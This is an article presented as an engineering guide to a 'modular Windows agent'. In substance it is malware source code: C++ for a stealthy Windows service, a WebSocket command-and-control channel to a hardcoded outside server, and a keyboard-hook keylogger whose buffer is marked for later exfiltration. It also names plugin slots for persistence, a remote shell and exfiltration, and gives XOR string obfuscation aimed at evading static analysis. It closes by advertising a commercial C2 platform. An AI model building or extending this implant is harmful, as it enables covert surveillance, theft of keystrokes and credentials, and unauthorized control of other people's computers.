Building a Modular Windows Agent Architecture — From Sockets to C2
Building a production-grade remote Windows agent is more than just a reverse shell. You need resilience, modularity, compile-time configuration, and a protocol that survives NAT, firewalls, and reboots. This guide walks through the architecture of a modular Windows agent framework with a focus on the C++ implementation layer, plugin design, and secure communication.
Architecture Overview
┌─────────────────┐ ┌──────────────┐ ┌───────────────┐
│ Windows Agent │────▶│ C2 Gateway │────▶│ Management │
│ (C++ Service) │◀────│ (Server) │◀────│ Dashboard │
└─────────────────┘ └──────────────┘ └───────────────┘
│ │
Plugin System Task Queue
┌─────────┐ ┌──────────┐ ┌─────────────┐
│Keylogger│ │ File Ops │ │ Discovery │
│Screen │ │ Shell │ │ Exfiltration│
│Process │ │ Network │ │ Persistence │
└─────────┘ └──────────┘ └─────────────┘
1. Core Agent — Windows Service Layer
The agent runs as a Windows service for stealth and auto-restart. The entry point registers with the SCM:
#include
#include
SERVICE_STATUS g_Status = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = nullptr;
HANDLE g_StopEvent = nullptr;
VOID WINAPI ServiceMain(DWORD argc, LPSTR* argv) {
g_StatusHandle = RegisterServiceCtrlHandler("VAgent", ServiceCtrlHandler);
if (!g_StatusHandle) return;
g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_Status.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(g_StatusHandle, &g_Status);
g_StopEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
AgentInit();
WaitForSingleObject(g_StopEvent, INFINITE);
AgentCleanup();
g_Status.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(g_StatusHandle, &g_Status);
}
VOID WINAPI ServiceCtrlHandler(DWORD ctrl) {
if (ctrl == SERVICE_CONTROL_STOP) {
g_Status.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(g_StatusHandle, &g_Status);
SetEvent(g_StopEvent);
}
}
int main() {
SERVICE_TABLE_ENTRY table[] = {
{(LPSTR)"VAgent", (LPSERVICE_MAIN_FUNCTION)ServiceMain},
{nullptr, nullptr}
};
return StartServiceCtrlDispatcher(table) ? 0 : GetLastError();
}
2. Transport Layer — Encrypted WebSocket
Using WebSocket over wss:// provides NAT traversal and TLS. The agent polls for tasks and sends heartbeats:
#include
#include
typedef websocketpp::client WsClient;
class C2Transport {
public:
C2Transport(const std::string& url) : url_(url), running_(false) {}
void Connect() {
client_.init_asio(&io_);
client_.set_tls_init_handler(
[](auto) { return websocketpp::lib::make_shared(
boost::asio::ssl::context::tlsv12); }
);
client_.set_message_handler([this](auto, auto msg) {
OnMessage(msg->get_payload());
});
client_.set_fail_handler([this](auto) {
ReconnectAfter(5000);
});
client_.set_close_handler([this](auto) {
if (running_) ReconnectAfter(5000);
});
conn_ = client_.get_connection(url_, error_);
client_.connect(conn_);
io_.run();
}
void Send(const std::string& data) {
if (conn_ && conn_->get_state() == websocketpp::session::state::open) {
client_.send(conn_->get_handle(), data,
websocketpp::frame::opcode::text);
}
}
private:
void ReconnectAfter(int ms) {
std::thread([this, ms] {
std::this_thread::sleep_for(std::chrono::milliseconds(ms));
Connect();
}).detach();
}
WsClient client_;
websocketpp::lib::error_code error_;
WsClient::connection_ptr conn_;
boost::asio::io_service io_;
std::string url_;
std::atomic running_;
};
3. Plugin Architecture
Each capability is a plugin loaded at compile time. This keeps the binary size minimal while enabling composability:
class IPlugin {
public:
virtual ~IPlugin() = default;
virtual std::string Name() const = 0;
virtual bool Init() = 0;
virtual json Execute(const json& params) = 0;
virtual void Cleanup() {}
};
class KeyloggerPlugin : public IPlugin {
public:
std::string Name() const override { return "keylogger"; }
bool Init() override {
hook_ = SetWindowsHookEx(WH_KEYBOARD_LL, KeyProc,
GetModuleHandle(nullptr), 0);
return hook_ != nullptr;
}
json Execute(const json& params) override {
std::lock_guard lock(mutex_);
auto logs = buffer_;
buffer_.clear();
return {{"status", "ok"}, {"data", logs}};
}
void Cleanup() override {
if (hook_) UnhookWindowsHookEx(hook_);
}
private:
static LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN) {
auto kbd = reinterpret_cast(lParam);
// Buffer keystroke for later exfiltration
instance_->buffer_ += std::to_string(kbd->vkCode) + ",";
}
return CallNextHookEx(nullptr, nCode, wParam, lParam);
}
HHOOK hook_ = nullptr;
std::string buffer_;
std::mutex mutex_;
static KeyloggerPlugin* instance_;
};
// Registration macro
#define REGISTER_PLUGIN(cls) \
static PluginRegistrar cls##_reg("cls", []() { return std::make_unique(); })
4. Compile-Time Configuration
Critical parameters are embedded at compile time, not runtime. Each build produces a unique binary with hardcoded endpoints, encryption keys, and behavior flags:
// config.h — generated per-build by the compiler
#ifndef VAGENT_CONFIG_H
#define VAGENT_CONFIG_H
namespace agent {
constexpr const char* C2_URL = "wss://api.v-entity.pro/agent";
constexpr const char* INSTANCE_ID = "a7f3c92e-1b4d-4e8f-9a6c-3d2e1f0b8c5a";
constexpr int HEARTBEAT_INTERVAL_MS = 30000;
constexpr int RECONNECT_DELAY_MS = 5000;
constexpr size_t MAX_BUFFER_SIZE = 1024 * 1024; // 1MB
// Feature flags
constexpr bool ENABLE_KEYLOGGER = true;
constexpr bool ENABLE_SCREENSHOT = true;
constexpr bool ENABLE_FILE_OPS = true;
constexpr bool ENABLE_SHELL = false;
// Crypto
constexpr const char* ENCRYPTION_KEY = ""; // unique per-binary
}
#endif
5. Task Execution Loop
The agent's main loop receives task JSON from the C2, dispatches to the right plugin, and returns results:
class AgentEngine {
public:
void RegisterPlugin(std::unique_ptr plugin) {
plugins_[plugin->Name()] = std::move(plugin);
}
json HandleTask(const json& task) {
auto it = plugins_.find(task["plugin"]);
if (it == plugins_.end()) {
return {{"error", "unknown plugin"}};
}
return it->second->Execute(task["params"]);
}
void Run(C2Transport& transport) {
while (running_) {
auto task = ReceiveTask(transport);
auto result = HandleTask(task);
transport.Send(result.dump());
}
}
private:
json ReceiveTask(C2Transport& transport) {
// Blocks until a task is received or heartbeat fires
return json::parse(transport.WaitForMessage());
}
std::unordered_map> plugins_;
std::atomic running_{true};
};
6. Compile-Time Obfuscation
String obfuscation at compile time defeats static analysis tools. Each string is XOR'd with a build-specific key:
template
struct ObfuscatedString {
char data[N];
constexpr ObfuscatedString(const char (&str)[N]) : data{} {
for (size_t i = 0; i < N - 1; ++i) {
data[i] = str[i] ^ 0xAB;
}
}
std::string Decrypt() const {
std::string result(N - 1, '\0');
for (size_t i = 0; i < N - 1; ++i) {
result[i] = data[i] ^ 0xAB;
}
return result;
}
};
// Usage — strings never appear in plaintext in the binary
constexpr auto kC2Url = ObfuscatedString("wss://api.v-entity.pro/agent");
constexpr auto kRegKey = ObfuscatedString("SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
Going to Production
The architecture above handles the core transport, plugin dispatch, and compile-time config. A production deployment requires a C2 gateway for managing multiple agents, a dashboard for task scheduling, and a builder that produces uniquely compiled binaries with per-agent configuration.
The Violet Entity platform provides exactly this: a cloud-based C2 infrastructure, custom compiler per agent, plugin management, and a web dashboard for real-time task execution across all your agents.

